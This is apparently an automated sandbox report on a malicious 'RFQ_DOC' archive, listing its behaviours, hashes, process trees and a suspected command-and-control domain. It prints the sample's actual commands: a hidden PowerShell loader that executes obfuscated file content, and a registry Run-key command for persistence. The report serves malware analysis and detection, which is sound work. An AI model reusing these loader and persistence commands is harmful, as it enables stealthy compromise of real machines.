Malware Analysis Report

2024-10-10 07:15

Sample ID 240613-s8qc9svemf
Target 13062024_1547_13062024_RFQ_DOC13062024.lzh
SHA256 dd9b99228d3466087b416d9f95c60f437fa01b89a522b6b839e0dafe79279959
Tags
execution persistence
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

dd9b99228d3466087b416d9f95c60f437fa01b89a522b6b839e0dafe79279959

Threat Level: Likely malicious

The file 13062024_1547_13062024_RFQ_DOC13062024.lzh was found to be: Likely malicious.

Malicious Activity Summary

execution persistence

Command and Scripting Interpreter: PowerShell

Adds Run key to start application

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in System32 directory

Suspicious use of SetThreadContext

Drops file in Windows directory

Drops file in Program Files directory

Program crash

Enumerates physical storage devices

Modifies registry key

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 15:47

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 15:47

Reported

2024-06-13 15:50

Platform

win7-20240419-en

Max time kernel

146s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\Dugens = "%Spontan59% -windowstyle minimized $Taarepersede=(Get-ItemProperty -Path 'HKCU:\\Imbodying\\').Swails;%Spontan59% ($Taarepersede)" C:\Windows\SysWOW64\reg.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\driftschefernes.ini C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3056 set thread context of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Common Files\twig\Monetising.lnk C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A
File opened for modification C:\Program Files (x86)\inspiredly.snu C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Fonts\undispersing\frelserens.ini C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A

Enumerates physical storage devices

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 992 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 992 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 992 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 992 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3056 wrote to memory of 2276 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3056 wrote to memory of 2276 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3056 wrote to memory of 2276 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3056 wrote to memory of 2276 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3056 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3056 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3056 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3056 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3056 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3056 wrote to memory of 2508 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2508 wrote to memory of 2632 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2508 wrote to memory of 2632 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2508 wrote to memory of 2632 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2508 wrote to memory of 2632 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2632 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2632 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2632 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2632 wrote to memory of 2560 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe

"C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Nondenunciation=Get-Content 'C:\Users\Admin\AppData\Local\skuespillerevnernes\Kilders219\Personalhistoriker\millionren.Non';$Tabinet=$Nondenunciation.SubString(50736,3);.$Tabinet($Nondenunciation)"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dugens" /t REG_EXPAND_SZ /d "%Spontan59% -windowstyle minimized $Taarepersede=(Get-ItemProperty -Path 'HKCU:\Imbodying\').Swails;%Spontan59% ($Taarepersede)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dugens" /t REG_EXPAND_SZ /d "%Spontan59% -windowstyle minimized $Taarepersede=(Get-ItemProperty -Path 'HKCU:\Imbodying\').Swails;%Spontan59% ($Taarepersede)"

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.lasji.net udp
US 8.8.8.8:53 www.lasji.net udp
US 8.8.8.8:53 www.lasji.net udp
US 8.8.8.8:53 www.lasji.net udp
US 8.8.8.8:53 www.lasji.net udp
US 8.8.8.8:53 www.lasji.net udp

Files

memory/3056-8-0x00000000738E1000-0x00000000738E2000-memory.dmp

memory/3056-12-0x00000000738E0000-0x0000000073E8B000-memory.dmp

memory/3056-11-0x00000000738E0000-0x0000000073E8B000-memory.dmp

memory/3056-10-0x00000000738E0000-0x0000000073E8B000-memory.dmp

memory/3056-9-0x00000000738E0000-0x0000000073E8B000-memory.dmp

C:\Users\Admin\AppData\Local\skuespillerevnernes\Kilders219\Personalhistoriker\millionren.Non

MD5 80157482bbee05d39cc6eb150df00ee5
SHA1 541958b59d496ae8814c09336eda330993db754c
SHA256 4c2726ecd1f509ea66be91622735c2b9885c232c3b3733390e46d2859b2aed0b
SHA512 82f62f244fe0690c68b4eb983e1bd5ae421a5f10cf12d281a9dc167d9b99f60ea4dcac573f05626e5fc41ae50d18754029eae3f677806a83dfd7a801bda61c16

C:\Users\Admin\AppData\Local\skuespillerevnernes\Kilders219\Straalerne.Now

MD5 74633979df571bd25e1c1e87f24becf7
SHA1 e2cb97f7015f6e49dde64f15f9c78607b32797e2
SHA256 a6bc8292d47989709e989e8f32243c7b42ca38879ec19ffec6376a69e2d0cf4f
SHA512 6dcae3ca303a709d3ad2e9c1ce90836ad84bdd49c5e0a78fc066c1e31493525a71f04b0a39e5593db953fe6f8c5e84b421a8c5a20814d01933c1bd41b1341f31

memory/3056-16-0x0000000006750000-0x000000000A6A7000-memory.dmp

memory/3056-17-0x00000000738E0000-0x0000000073E8B000-memory.dmp

memory/2508-18-0x0000000000770000-0x00000000017D2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 15:47

Reported

2024-06-13 15:50

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

51s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\driftschefernes.ini C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Common Files\twig\Monetising.lnk C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A
File opened for modification C:\Program Files (x86)\inspiredly.snu C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Fonts\undispersing\frelserens.ini C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe

"C:\Users\Admin\AppData\Local\Temp\RFQ_DOC13062024.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Nondenunciation=Get-Content 'C:\Users\Admin\AppData\Local\skuespillerevnernes\Kilders219\Personalhistoriker\millionren.Non';$Tabinet=$Nondenunciation.SubString(50736,3);.$Tabinet($Nondenunciation)"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 3116 -ip 3116

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3116 -s 2116

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

memory/3116-6-0x0000000073EDE000-0x0000000073EDF000-memory.dmp

memory/3116-7-0x0000000004EA0000-0x0000000004ED6000-memory.dmp

memory/3116-8-0x0000000073ED0000-0x0000000074680000-memory.dmp

memory/3116-9-0x0000000005650000-0x0000000005C78000-memory.dmp

memory/3116-10-0x0000000073ED0000-0x0000000074680000-memory.dmp

memory/3116-11-0x0000000005590000-0x00000000055B2000-memory.dmp

memory/3116-12-0x0000000005D70000-0x0000000005DD6000-memory.dmp

memory/3116-13-0x0000000005DE0000-0x0000000005E46000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qr23wbxs.2ja.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3116-23-0x0000000005E50000-0x00000000061A4000-memory.dmp

memory/3116-24-0x0000000006450000-0x000000000646E000-memory.dmp

memory/3116-25-0x0000000006500000-0x000000000654C000-memory.dmp

memory/3116-26-0x0000000007410000-0x00000000074A6000-memory.dmp

memory/3116-27-0x0000000006990000-0x00000000069AA000-memory.dmp

memory/3116-28-0x00000000069E0000-0x0000000006A02000-memory.dmp

memory/3116-29-0x0000000007A60000-0x0000000008004000-memory.dmp

C:\Users\Admin\AppData\Local\skuespillerevnernes\Kilders219\Personalhistoriker\millionren.Non

MD5 80157482bbee05d39cc6eb150df00ee5
SHA1 541958b59d496ae8814c09336eda330993db754c
SHA256 4c2726ecd1f509ea66be91622735c2b9885c232c3b3733390e46d2859b2aed0b
SHA512 82f62f244fe0690c68b4eb983e1bd5ae421a5f10cf12d281a9dc167d9b99f60ea4dcac573f05626e5fc41ae50d18754029eae3f677806a83dfd7a801bda61c16

memory/3116-31-0x0000000008690000-0x0000000008D0A000-memory.dmp

memory/3116-33-0x0000000073ED0000-0x0000000074680000-memory.dmp